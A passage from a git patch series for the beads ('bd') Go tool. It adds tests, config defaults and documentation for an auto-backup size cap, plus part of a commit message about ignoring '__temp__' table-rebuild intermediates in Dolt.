t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("BD_BACKUP_GIT_REPO", repo) + t.Setenv("BD_BACKUP_ENABLED", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + // Push the destination over the 1MB cap... + if err := os.WriteFile(filepath.Join(dir, "filler"), make([]byte, 2*1024*1024), 0o600); err != nil { + t.Fatal(err) + } + // ...but seed a fresh backup timestamp so the interval throttle (15m + // default) fires first, before the cap check ever gets a chance to run. + seeded := &backupState{Timestamp: time.Now().UTC(), LastDoltCommit: "oldcommit"} + if err := saveBackupState(dir, seeded); err != nil { + t.Fatal(err) + } + + oldStore := store + // Different commit from the watermark ⇒ change detection would pass, + // so only the interval throttle can keep the walk from running. + fake := &failingBackupStore{commit: "deadbeef", backupErr: nil} + store = fake + t.Cleanup(func() { store = oldStore }) + + maybeAutoBackup(context.Background()) + + if fake.backupCalls != 0 { + t.Fatalf("BackupDatabase should not be called while throttled, got %d calls", fake.backupCalls) + } + st, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + if !st.LastCapWarnAt.IsZero() { + t.Error("LastCapWarnAt was set — size-cap check ran despite the interval throttle, want it skipped entirely") + } +} + +// TestMaybeAutoBackup_CapCheckSkippedWhenUnchanged pins the first half of +// the PR #6071 review's gating finding: the size-cap walk must sit AFTER +// change detection, so an IDLE workspace — nothing new committed since the +// last backup — never pays it. +// +// The interval throttle alone cannot cover this case, because only a +// backup attempt advances state.Timestamp: an idle workspace never reaches +// runBackupExport, so the throttle can never re-arm and, with the walk +// ahead of change detection, every single bd command paid the full +// filepath.Walk indefinitely. +// +// Detected the same way as the throttle test above: if the cap check ran, +// it would find the destination over cap and record LastCapWarnAt. +func TestMaybeAutoBackup_CapCheckSkippedWhenUnchanged(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("BD_BACKUP_GIT_REPO", repo) + t.Setenv("BD_BACKUP_ENABLED", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + // Push the destination over the 1MB cap, so any walk that runs finds + // it exceeded and leaves a mark. + if err := os.WriteFile(filepath.Join(dir, "filler"), make([]byte, 2*1024*1024), 0o600); err != nil { + t.Fatal(err) + } + // Last backup an hour ago: the 15m interval throttle has passed, so + // change detection — not the throttle — is what must stop this. + seeded := &backupState{Timestamp: time.Now().UTC().Add(-time.Hour), LastDoltCommit: "deadbeef"} + if err := saveBackupState(dir, seeded); err != nil { + t.Fatal(err) + } + want, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + + oldStore := store + // Same commit as the recorded watermark ⇒ nothing changed ⇒ idle. + fake := &failingBackupStore{commit: "deadbeef", backupErr: nil} + store = fake + t.Cleanup(func() { store = oldStore }) + + maybeAutoBackup(context.Background()) + + if fake.backupCalls != 0 { + t.Fatalf("BackupDatabase should not be called when nothing changed, got %d calls", fake.backupCalls) + } + st, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + if !st.LastCapWarnAt.IsZero() { + t.Error("LastCapWarnAt was set — the size-cap walk ran on an idle workspace, want it skipped entirely (it would then run on every bd command, forever)") + } + if !st.Timestamp.Equal(want.Timestamp) { + t.Errorf("timestamp = %v, want it untouched at %v: the idle path must not write state at all, or an idle period would cost up to one backup.interval of extra latency", + st.Timestamp, want.Timestamp) + } +} + +// TestMaybeAutoBackup_PausedSkipArmsIntervalThrottle pins the second half +// of the PR #6071 review's gating finding, and is the positive control for +// the idle test above: with data genuinely changed, the cap walk DOES run +// and finds the destination over cap — and that skip must re-arm the +// interval throttle it would otherwise never reach. +// +// PAUSED is the pathological state: an over-cap destination is by +// definition the largest one, so without this the feature's terminal state +// is its most expensive, paying the full walk on every bd command until an +// operator intervenes. LastDoltCommit stays untouched so change detection +// still sees the pending work once the cap is raised. +func TestMaybeAutoBackup_PausedSkipArmsIntervalThrottle(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("BD_BACKUP_GIT_REPO", repo) + t.Setenv("BD_BACKUP_ENABLED", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, "filler"), make([]byte, 2*1024*1024), 0o600); err != nil { + t.Fatal(err) + } + seededAt := time.Now().UTC().Add(-time.Hour) + seeded := &backupState{Timestamp: seededAt, LastDoltCommit: "oldcommit"} + if err := saveBackupState(dir, seeded); err != nil { + t.Fatal(err) + } + + oldStore := store + // Different commit from the watermark ⇒ data changed ⇒ the cap check + // is reached. + fake := &failingBackupStore{commit: "deadbeef", backupErr: nil} + store = fake + t.Cleanup(func() { store = oldStore }) + + maybeAutoBackup(context.Background()) + + if fake.backupCalls != 0 { + t.Fatalf("BackupDatabase should not be called once the size cap is exceeded, got %d calls", fake.backupCalls) + } + st, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + if st.LastCapWarnAt.IsZero() { + t.Fatal("LastCapWarnAt not set — the cap path never ran, so this test proves nothing about the skip") + } + if !st.Timestamp.After(seededAt) { + t.Errorf("timestamp = %v, want it advanced past %v: the cap skip must re-arm the interval throttle or the walk reruns on every bd command", + st.Timestamp, seededAt) + } + if st.LastDoltCommit != "oldcommit" { + t.Errorf("last_dolt_commit = %q, want %q left untouched so change detection still sees pending work once the cap is raised", + st.LastDoltCommit, "oldcommit") + } +} + +// TestWarnBackupSizeCapUnavailable_IsOperatorVisible pins the PR #6071 +// review's error-handling minor: getDirSize aborts its whole walk on the +// first unreadable entry, and maybeAutoBackup then proceeds UNCAPPED. That +// is the right direction (fail open), but it used to happen behind a +// debug-only line, so the cap could silently disable itself and restore +// the unbounded growth the feature exists to prevent. The operator must be +// told, on stderr, both that the measurement failed and what it costs. +func TestWarnBackupSizeCapUnavailable_IsOperatorVisible(t *testing.T) { + stderr := captureStderr(t, func() { + warnBackupSizeCapUnavailable(errors.New("permission denied")) + }) + + if !strings.Contains(stderr, "permission denied") { + t.Errorf("warning does not name the underlying error: %q", stderr) + } + if !strings.Contains(stderr, "cap") { + t.Errorf("warning does not say the size cap is what failed: %q", stderr) + } + if !strings.Contains(stderr, "unbounded") { + t.Errorf("warning does not state the consequence — the backup proceeds uncapped: %q", stderr) + } +} + +// TestSizeCapStatus_UnavailableOnWalkError pins the PR #6071 review's +// render-asymmetry nit: on a non-ENOENT getDirSize error the human status +// path used to drop the "Size cap:" line entirely — indistinguishable from +// "no cap configured" for an operator debugging a permission problem — +// while --json reported the error all along. The JSON error object must +// also carry an explicit null `exceeded`, because a consumer reading a +// missing key as false sees "not exceeded" during exactly the failure that +// makes it unmeasurable. +func TestSizeCapStatus_UnavailableOnWalkError(t *testing.T) { + if os.Geteuid() == 0 { + t.Skip("running as root; chmod does not deny reads") + } + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir := t.TempDir() + // Unreadable, but present: getDirSize fails with a permission error, + // which is NOT os.IsNotExist, so it takes the error branch rather than + // the "destination not created yet" branch. + if err := os.Chmod(dir, 0o000); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(dir, 0o700) }) // let t.TempDir() clean up + + stdout := captureStdout(t, func() error { + showSizeCapStatus(dir) + return nil + }) + if !strings.Contains(stdout, "Size cap: unavailable") { + t.Errorf("human status dropped the size-cap line on a walk error, want an explicit `unavailable`: %q", stdout) + } + + got := showSizeCapStatusJSON(dir) + if got["error"] == nil || got["error"] == "" { + t.Errorf("JSON status omits the walk error: %#v", got) + } + exceeded, ok := got["exceeded"] + if !ok { + t.Errorf("JSON error object omits `exceeded`; a consumer reading the missing key as false sees `not exceeded`: %#v", got) + } + if exceeded != nil { + t.Errorf("exceeded = %#v, want an explicit null while the size is unmeasurable", exceeded) + } +} + +// postSyncCommitFailingStore syncs successfully but then fails the +// GetCurrentCommit that runBackupExport needs to record its watermark — one +// of the runBackupExport exits that returns without persisting state. Every +// other GetCurrentCommit (change detection) succeeds. +type postSyncCommitFailingStore struct { + failingBackupStore + justSynced bool +} + +func (f *postSyncCommitFailingStore) BackupDatabase(ctx context.Context, dir string) error { + f.justSynced = true + return f.failingBackupStore.BackupDatabase(ctx, dir) +} + +func (f *postSyncCommitFailingStore) GetCurrentCommit(context.Context) (string, error) { + if f.justSynced { + f.justSynced = false + return "", errors.New("dolt server unavailable") + } + return f.commit, nil +} + +// TestMaybeAutoBackup_WalkErrorArmsIntervalThrottle pins the PR #6071 +// iteration-2 review's behavioral minor: when the size-cap walk fails, +// maybeAutoBackup warns and proceeds uncapped, and it must re-arm the +// interval throttle itself before doing so. runBackupExport does not persist +// state.Timestamp on every exit — here the post-sync GetCurrentCommit fails +// after a successful sync — so without the re-arm the walk, its warning and +// the sync itself all repeat on every bd command instead of once per +// backup.interval. +func TestMaybeAutoBackup_WalkErrorArmsIntervalThrottle(t *testing.T) { + if os.Geteuid() == 0 { + t.Skip("running as root; chmod does not deny reads") + } + t.Chdir(t.TempDir()) + // The sync has to actually run for this test to reach runBackupExport's + // non-persisting exit, so give the command a real workspace: a + // workspace-scoped step on the way (a backup lock, for one) must not + // skip the sync before it starts. + prepareBackupStatusTest(t) + + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("BD_BACKUP_GIT_REPO", repo) + t.Setenv("BD_BACKUP_ENABLED", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + // One unreadable entry inside an otherwise writable destination: the + // walk fails, but backup_state.json can still be read and written. + locked := filepath.Join(dir, "locked") + if err := os.Mkdir(locked, 0o000); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(locked, 0o700) }) // let t.TempDir() clean up + seededAt := time.Now().UTC().Add(-time.Hour) + seeded := &backupState{Timestamp: seededAt, LastDoltCommit: "oldcommit"} + if err := saveBackupState(dir, seeded); err != nil { + t.Fatal(err) + } + + oldStore := store + // Different commit from the watermark ⇒ data changed ⇒ the walk runs. + fake := &postSyncCommitFailingStore{failingBackupStore: failingBackupStore{commit: "deadbeef"}} + store = fake + t.Cleanup(func() { store = oldStore }) + + first := captureStderr(t, func() { maybeAutoBackup(context.Background()) }) + if !strings.Contains(first, "could not be measured") { + t.Fatalf("the walk error never reached its warning, so this test proves nothing: %q", first) + } + if fake.backupCalls != 1 { + t.Fatalf("BackupDatabase calls = %d, want 1: an unmeasurable destination must fail open and still sync", fake.backupCalls) + } + st, err := loadBackupState(dir) + if err != nil { + t.Fatalf("loadBackupState: %v", err) + } + if !st.Timestamp.After(seededAt) { + t.Errorf("timestamp = %v, want it advanced past %v: runBackupExport returned without persisting it, so the walk-error path must re-arm the interval throttle", + st.Timestamp, seededAt) + } + if st.LastDoltCommit != "oldcommit" { + t.Errorf("last_dolt_commit = %q, want %q left untouched: no watermark was recorded, so change detection must still see the pending work", + st.LastDoltCommit, "oldcommit") + } + + second := captureStderr(t, func() { maybeAutoBackup(context.Background()) }) + if strings.Contains(second, "could not be measured") { + t.Errorf("the walk-error warning repeated on the very next command, want it bounded by the interval throttle: %q", second) + } + if fake.backupCalls != 1 { + t.Errorf("BackupDatabase calls = %d after a second command, want still 1: the interval throttle should have stopped it", fake.backupCalls) + } +} + +// TestShowSizeCapStatus_DisabledEchoesConfiguredValue pins the PR #6071 +// iteration-2 review's debuggability minor: viper's GetInt resolves an +// unparseable backup.size-cap-mb ("2048MB") to 0, which disables the cap, +// so the status line must echo what is actually configured rather than +// asserting "backup.size-cap-mb=0", a value the operator never wrote. +func TestShowSizeCapStatus_DisabledEchoesConfiguredValue(t *testing.T) { + for _, raw := range []string{"0", "2048MB"} { + t.Run(raw, func(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", raw) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + if got := effectiveSizeCapMB(); got != 0 { + t.Fatalf("effectiveSizeCapMB() = %d for %q, want 0 (cap disabled), or this test proves nothing", got, raw) + } + + stdout := captureStdout(t, func() error { + showSizeCapStatus(t.TempDir()) + return nil + }) + want := "Size cap: disabled (backup.size-cap-mb=" + raw + ")" + if !strings.Contains(stdout, want) { + t.Errorf("status = %q, want it to contain %q", stdout, want) + } + }) + } +} + +// TestSizeCapStatus_MidWalkNotExistIsUnavailable pins the PR #6071 +// iteration-2 review's error-handling minor: only a destination that does +// not exist yet may read as empty. An ENOENT from inside the walk — a chunk +// file removed between listing and stat-ing it — used to be swallowed as +// size 0, reporting `"exceeded": false` for a destination that may be well +// over its cap, which is exactly what the explicit-null `exceeded` on the +// error branch exists to prevent. +func TestSizeCapStatus_MidWalkNotExistIsUnavailable(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + t.Run("missing destination reads as empty", func(t *testing.T) { + missing := filepath.Join(t.TempDir(), "not-created-yet") + + stdout := captureStdout(t, func() error { + showSizeCapStatus(missing) + return nil + }) + if !strings.Contains(stdout, "Size cap: 0 B / ") { + t.Errorf("status for a not-yet-created destination = %q, want an empty `Size cap: 0 B / ...`", stdout) + } + got := showSizeCapStatusJSON(missing) + if got["exceeded"] != false || got["current_bytes"] != int64(0) { + t.Errorf("JSON status for a not-yet-created destination = %#v, want current_bytes 0 and exceeded false", got) + } + }) + + t.Run("ENOENT inside an existing destination is unavailable", func(t *testing.T) { + dir := t.TempDir() + vanished := &fs.PathError{Op: "lstat", Path: filepath.Join(dir, "chunk"), Err: fs.ErrNotExist} + if !os.IsNotExist(vanished) { + t.Fatalf("injected error is not an os.IsNotExist error, so this test proves nothing: %v", vanished) + } + oldWalk := walkBackupDestination + walkBackupDestination = func(string) (int64, error) { return 0, vanished } + t.Cleanup(func() { walkBackupDestination = oldWalk }) + + stdout := captureStdout(t, func() error { + showSizeCapStatus(dir) + return nil + }) + if !strings.Contains(stdout, "Size cap: unavailable") { + t.Errorf("status after a mid-walk ENOENT = %q, want `Size cap: unavailable`, not a size", stdout) + } + got := showSizeCapStatusJSON(dir) + exceeded, ok := got["exceeded"] + if !ok || exceeded != nil { + t.Errorf("JSON status after a mid-walk ENOENT = %#v, want an explicit null `exceeded`", got) + } + if got["error"] == nil || got["error"] == "" { + t.Errorf("JSON status omits the walk error: %#v", got) + } + }) +} diff --git a/cmd/bd/backup_export.go b/cmd/bd/backup_export.go index 654ba7c47..1c6924914 100644 --- a/cmd/bd/backup_export.go +++ b/cmd/bd/backup_export.go @@ -19,6 +19,7 @@ import ( type backupState struct { LastDoltCommit string `json:"last_dolt_commit"` Timestamp time.Time `json:"timestamp"` + LastCapWarnAt time.Time `json:"last_cap_warn_at"` } // backupDir returns the backup directory path, creating it if needed. diff --git a/cmd/bd/backup_status_test.go b/cmd/bd/backup_status_test.go index d06d0db78..513603cc8 100644 --- a/cmd/bd/backup_status_test.go +++ b/cmd/bd/backup_status_test.go @@ -8,6 +8,7 @@ import ( "path/filepath" "strings" "testing" + "time" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/configfile" @@ -160,6 +161,135 @@ func TestBackupStatusIncludesAvailableDatabaseSize(t *testing.T) { }) } +// TestBackupStatusShowsSizeCapPaused pins the PR #6071 review's second +// major point: `bd --json` / `--quiet` callers never saw the size-cap +// pause — the warning is stderr-only and throttled, and status previously +// said nothing about the cap, so an agent/CI caller saw a reassuring +// "Last backup" line while auto-backup was silently, permanently paused. +func TestBackupStatusShowsSizeCapPaused(t *testing.T) { + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "1") + prepareBackupStatusTest(t) + sizeDatabase := func(context.Context) (int64, bool, error) { return 0, false, nil } + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, "filler"), make([]byte, 2*1024*1024), 0o600); err != nil { + t.Fatal(err) + } + seeded := &backupState{Timestamp: time.Now().UTC().Add(-time.Hour), LastDoltCommit: "deadbeef"} + if err := saveBackupState(dir, seeded); err != nil { + t.Fatal(err) + } + + t.Run("json", func(t *testing.T) { + cmd := newBackupStatusTestRoot(sizeDatabase) + cmd.SetArgs([]string{"backup", "status", "--json"}) + stdout, stderr, err := executeBackupStatusCommand(t, cmd) + if err != nil { + t.Fatalf("backup status: %v", err) + } + if stderr != "" { + t.Errorf("stderr = %q, want empty", stderr) + } + var response struct { + SizeCap struct { + Enabled bool `json:"enabled"` + CapMB int `json:"cap_mb"` + CurrentBytes int64 `json:"current_bytes"` + Exceeded bool `json:"exceeded"` + } `json:"size_cap"` + } + if err := json.Unmarshal([]byte(stdout), &response); err != nil { + t.Fatalf("stdout is not valid JSON: %v\nstdout: %s", err, stdout) + } + if !response.SizeCap.Enabled { + t.Errorf("size_cap.enabled = false, want true: %s", stdout) + } + if !response.SizeCap.Exceeded { + t.Errorf("size_cap.exceeded = false, want true: %s", stdout) + } + if response.SizeCap.CapMB != 1 { + t.Errorf("size_cap.cap_mb = %d, want 1: %s", response.SizeCap.CapMB, stdout) + } + if response.SizeCap.CurrentBytes < 2*1024*1024 { + t.Errorf("size_cap.current_bytes = %d, want >= 2MB: %s", response.SizeCap.CurrentBytes, stdout) + } + }) + + t.Run("human", func(t *testing.T) { + cmd := newBackupStatusTestRoot(sizeDatabase) + cmd.SetArgs([]string{"backup", "status"}) + stdout, stderr, err := executeBackupStatusCommand(t, cmd) + if err != nil { + t.Fatalf("backup status: %v", err) + } + if stderr != "" { + t.Errorf("stderr = %q, want empty", stderr) + } + if !strings.Contains(stdout, "PAUSED (cap exceeded)") { + t.Errorf("status text missing PAUSED indicator: %s", stdout) + } + }) +} + +// TestBackupStatusShowsSizeCapDisabled pins the PR #6071 review's first +// major point from the status side: backup.size-cap-mb: 0 must render as +// disabled in status, not silently report the legacy 2048MB default. +func TestBackupStatusShowsSizeCapDisabled(t *testing.T) { + t.Setenv("BD_BACKUP_SIZE_CAP_MB", "0") + prepareBackupStatusTest(t) + sizeDatabase := func(context.Context) (int64, bool, error) { return 0, false, nil } + + dir, err := backupDir() + if err != nil { + t.Fatalf("backupDir: %v", err) + } + seeded := &backupState{Timestamp: time.Now().UTC().Add(-time.Hour), LastDoltCommit: "deadbeef"} + if err := saveBackupState(dir, seeded); err != nil { + t.Fatal(err) + } + + t.Run("json", func(t *testing.T) { + cmd := newBackupStatusTestRoot(sizeDatabase) + cmd.SetArgs([]string{"backup", "status", "--json"}) + stdout, _, err := executeBackupStatusCommand(t, cmd) + if err != nil { + t.Fatalf("backup status: %v", err) + } + var raw map[string]json.RawMessage + if err := json.Unmarshal([]byte(stdout), &raw); err != nil { + t.Fatalf("stdout is not valid JSON: %v\nstdout: %s", err, stdout) + } + sizeCapRaw, ok := raw["size_cap"] + if !ok { + t.Fatalf("size_cap key missing from status JSON: %s", stdout) + } + var sizeCap struct { + Enabled bool `json:"enabled"` + } + if err := json.Unmarshal(sizeCapRaw, &sizeCap); err != nil { + t.Fatalf("size_cap is not valid JSON: %v\nraw: %s", err, sizeCapRaw) + } + if sizeCap.Enabled { + t.Errorf("size_cap.enabled = true with backup.size-cap-mb=0, want false: %s", stdout) + } + }) + + t.Run("human", func(t *testing.T) { + cmd := newBackupStatusTestRoot(sizeDatabase) + cmd.SetArgs([]string{"backup", "status"}) + stdout, _, err := executeBackupStatusCommand(t, cmd) + if err != nil { + t.Fatalf("backup status: %v", err) + } + if !strings.Contains(stdout, "Size cap: disabled") { + t.Errorf("status text missing disabled size-cap line: %s", stdout) + } + }) +} + // TestBackupStatusProxiedGuardFollowsLocality replaces a test that asserted a // blanket proxied refusal. Since slice S3 the guard is scoped to locality: bd // owns the dolt process on a managed-local workspace and can honor the command diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 20d9e001e..33803808c 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -5,7 +5,7 @@ description: Complete reference for bd configuration across config.yaml and data Complete configuration reference for beads. -Last reviewed: 2026-08-28 +Last reviewed: 2026-09-10 Freshness source: `cmd/bd/main.go`, `cmd/bd/config.go`, and `internal/configfile/`. @@ -126,6 +126,8 @@ Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `passwor | `backup.interval` | — | `BD_BACKUP_INTERVAL` | `15m` | Minimum time between auto-backups | | `backup.git-push` | — | — | `false` | Auto-push backup repo | | `backup.git-repo` | — | `BD_BACKUP_GIT_REPO` | (none) | Backup git repo URL; when set, backups go to a `backup/` directory inside that repo | +| `backup.size-cap-mb` | — | `BD_BACKUP_SIZE_CAP_MB` | `2048` | Pause auto-backup once the destination directory reaches this size; `0` disables the cap (see [below](#auto-backup)) | +| `backup.size-warn-interval` | — | `BD_BACKUP_SIZE_WARN_INTERVAL` | `24h` | Minimum time between repeated "auto-backup paused" warnings | | `audit.enabled` | — | `BD_AUDIT_ENABLED` | `false` | Enable the optional JSONL interaction sidecar at `.beads/interactions.jsonl`, written by `bd audit record` / `bd audit label`. While disabled, `bd init` does not create the file and `bd audit record` / `bd audit label` refuse to write. Issue history is always recorded in the database either way — see `bd history --events` | | `export.auto` | — | — | `false` | Refresh `.beads/issues.jsonl` export after every write; not cross-machine sync | | `export.path` | — | — | `issues.jsonl` | Output filename relative to `.beads/` | @@ -224,15 +226,19 @@ Periodic Dolt-native backup to `.beads/backup/` provides a recovery path indepen ```yaml backup: - enabled: true # Enable auto-backup after write commands - interval: 15m # Minimum time between auto-backups + enabled: true # Enable auto-backup after write commands + interval: 15m # Minimum time between auto-backups + size-cap-mb: 2048 # Pause auto-backup once the destination reaches this size; 0 disables the cap + size-warn-interval: 24h # Minimum time between repeated "paused" warnings ``` How it works: - After each write command, `bd` compares the Dolt HEAD commit hash against the last backup state. -- If data changed and the throttle interval has passed, a Dolt-native backup is synced to `.beads/backup/` (or to a `backup/` directory inside `backup.git-repo` when configured). -- State is tracked in `backup_state.json` inside the backup directory. +- If data changed and the throttle interval has passed, `bd` checks the destination directory's on-disk size against `backup.size-cap-mb`. `CALL DOLT_BACKUP('sync', ...)` only ever adds new chunks to the destination — it never prunes ones that became unreachable on the source (history rewrites, superseded data), and Dolt exposes no supported way to GC a backup destination in place. Left uncapped, the destination can only grow until disk fills; this was the root cause of a 2026-06-19 outage where a 1.7GB store produced a 43GB backup directory. Once the cap is reached, auto-backup pauses — nothing is deleted, but no further syncs run until you raise `backup.size-cap-mb` or point to a fresh destination with `bd backup init `. Set `size-cap-mb: 0` to disable the cap entirely. +- If the destination is under its cap, a Dolt-native backup is synced to `.beads/backup/` (or to a `backup/` directory inside `backup.git-repo` when configured). +- State is tracked in `backup_state.json` inside the backup directory. `bd backup status` prints `PAUSED (cap exceeded)` when the destination is over its cap, and its `--json` output reports the same state as `size_cap.exceeded: true` — so an agent/CI caller relying on `--json` or `--quiet` can see that auto-backup has stopped instead of reading a reassuring "Last backup" line while nothing further syncs. +- The cap applies only to auto-backup; manual `bd backup` / `bd backup sync` are not capped. Manual commands (see [bd backup](/cli-reference/backup)): diff --git a/internal/config/config.go b/internal/config/config.go index 7a209329b..6095bd983 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -341,6 +341,17 @@ func Initialize() error { // Backup configuration defaults (JSONL export to .beads/backup/) v.SetDefault("backup.enabled", false) v.SetDefault("backup.interval", "15m") + // size-cap-mb pauses auto-backup once the destination exceeds this size + // (ga-y6gjv). BackupSync only ever transfers new chunks — it never + // prunes ones that became unreachable on the source DB — and Dolt + // exposes no way to GC a backup destination in place (it is a bare + // chunk-store directory with no .dolt repo-root marker, so neither the + // standalone dolt CLI nor CALL DOLT_GC can operate on it directly), so + // without a hard cap the directory can only grow forever. Default + // 2048MB; size-warn-interval throttles how often the pause is + // re-announced once the cap is hit, so it doesn't spam every command. + v.SetDefault("backup.size-cap-mb", 2048) + v.SetDefault("backup.size-warn-interval", "24h") v.SetDefault("backup.git-push", false) v.SetDefault("backup.git-repo", "") diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index 345457a67..50c2f436a 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -80,10 +80,12 @@ var YamlOnlyKeys = map[string]bool{ "hierarchy.max-depth": true, // Backup settings (must be in yaml so GetValueSource can detect overrides) - "backup.enabled": true, - "backup.interval": true, - "backup.git-push": true, - "backup.git-repo": true, + "backup.enabled": true, + "backup.interval": true, + "backup.git-push": true, + "backup.git-repo": true, + "backup.size-cap-mb": true, + "backup.size-warn-interval": true, // Import settings "import.auto": true, From 1f6f2c41f891b41d01f2292b45b267b3178526f9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 01:04:33 -0700 Subject: [PATCH 007/325] fix(schema): dolt_ignore the __temp__ table-rebuild intermediates (#6993) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(schema): dolt_ignore the __temp__ table-rebuild intermediates The ignored-series rebuilds stage every clone-local table through a __temp__ intermediate that is renamed onto the final, ignored name — but the intermediate names carried no dolt_ignore pattern. Against a @@dolt_transaction_commit=1 server, every CREATE TABLE __temp__X therefore auto-committed a real table at HEAD, and the rename onto the ignored final name left an unstageable "__temp__X -> X" rename half in dolt_status (content-inferred rename classification; per-table adds and dolt_add -A all no-op on it), wedging every later open behind the dirty-table guard. Field impact: a three-city shared hub wedged this way twice in one day, each time ending in fleet-wide write refusal and a manual capture-schemas / drop / recreate repair. Seed "__temp__%" in the canonical doltIgnorePatterns set, so the intermediates are born ignored on every write-mode open — asserted, like the events-journal patterns, before the series that creates the tables runs. dolt matches ignore patterns with ? * % only (underscores literal), so the entry covers exactly the __temp__ prefix. Shipping the pattern makes seedDoltIgnorePatterns report a change on every store seeded before this fix, which exposed a second bug in the same path: under @@dolt_transaction_commit=1 the seed's INSERTs are already dolt-committed at their own transaction boundaries, so the scoped DOLT_COMMIT in commitSeededDoltIgnore died with "nothing to commit" and took the whole pass down. It now passes --skip-empty (same treatment as the migration-repair commits). Regression coverage: an embeddeddolt test drives the exact field sequence — clone-shaped store whose dolt_ignore predates the pattern, @@dolt_transaction_commit=1, fresh-box MigrateUp — and asserts no __temp__ table ever reaches committed history and the pass ends with a clean working set. Before the fix it reproduces both failures (the "nothing to commit" pass abort, then the materialized "__temp__bd_events_journal -> bd_events_journal" wedge). Reported by qcore/syl (Gas Town shared-hub incidents, 2026-08-27); tracked locally as be-c5h. Co-Authored-By: Claude Fable 5 * docs(changelog): fenced deployments need one privileged open after the __temp__ pattern (be-c5h) Review: a new canonical dolt_ignore pattern un-converges every existing database, so the next write-mode open issues one INSERT IGNORE INTO dolt_ignore; a wire client denied that INSERT fails its open until a privileged bd heals the pattern. Self-healing, so the entry says so and stops there; degrading a denied seed to a skip is its own issue. Agent-Signature: claude-code-claude-fable-5-1-max on behalf of A3Ackerman Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_015LrzRcJhWSUH6SnU64gtFE * fix(schema): force the untrack scratch sweep past the new __temp__% pattern Maintainer review fixes for the dolt_ignore __temp__ intermediates change. The new "__temp__%" pattern also matches ignoredCursorUntrackTempTable ("__temp__ignored_schema_migrations_untrack", #4356), which the sweep in dropIgnoredCursorScratch stages with an unforced CALL DOLT_ADD(?). Dolt's staging filter classifies purely by pattern and never consults HEAD, so a scratch table that IS committed at HEAD is dropped from the staging list silently, --skip-empty then commits nothing and reports success, and the uncommitted delete delta survives forever. That delta is not an add, so dolt refuses every later pull on it regardless of the ignore pattern, while dirtyTables(excludeIgnored=true) hides the cause from bd's own opens -- reintroducing the exact permanent pull wedge 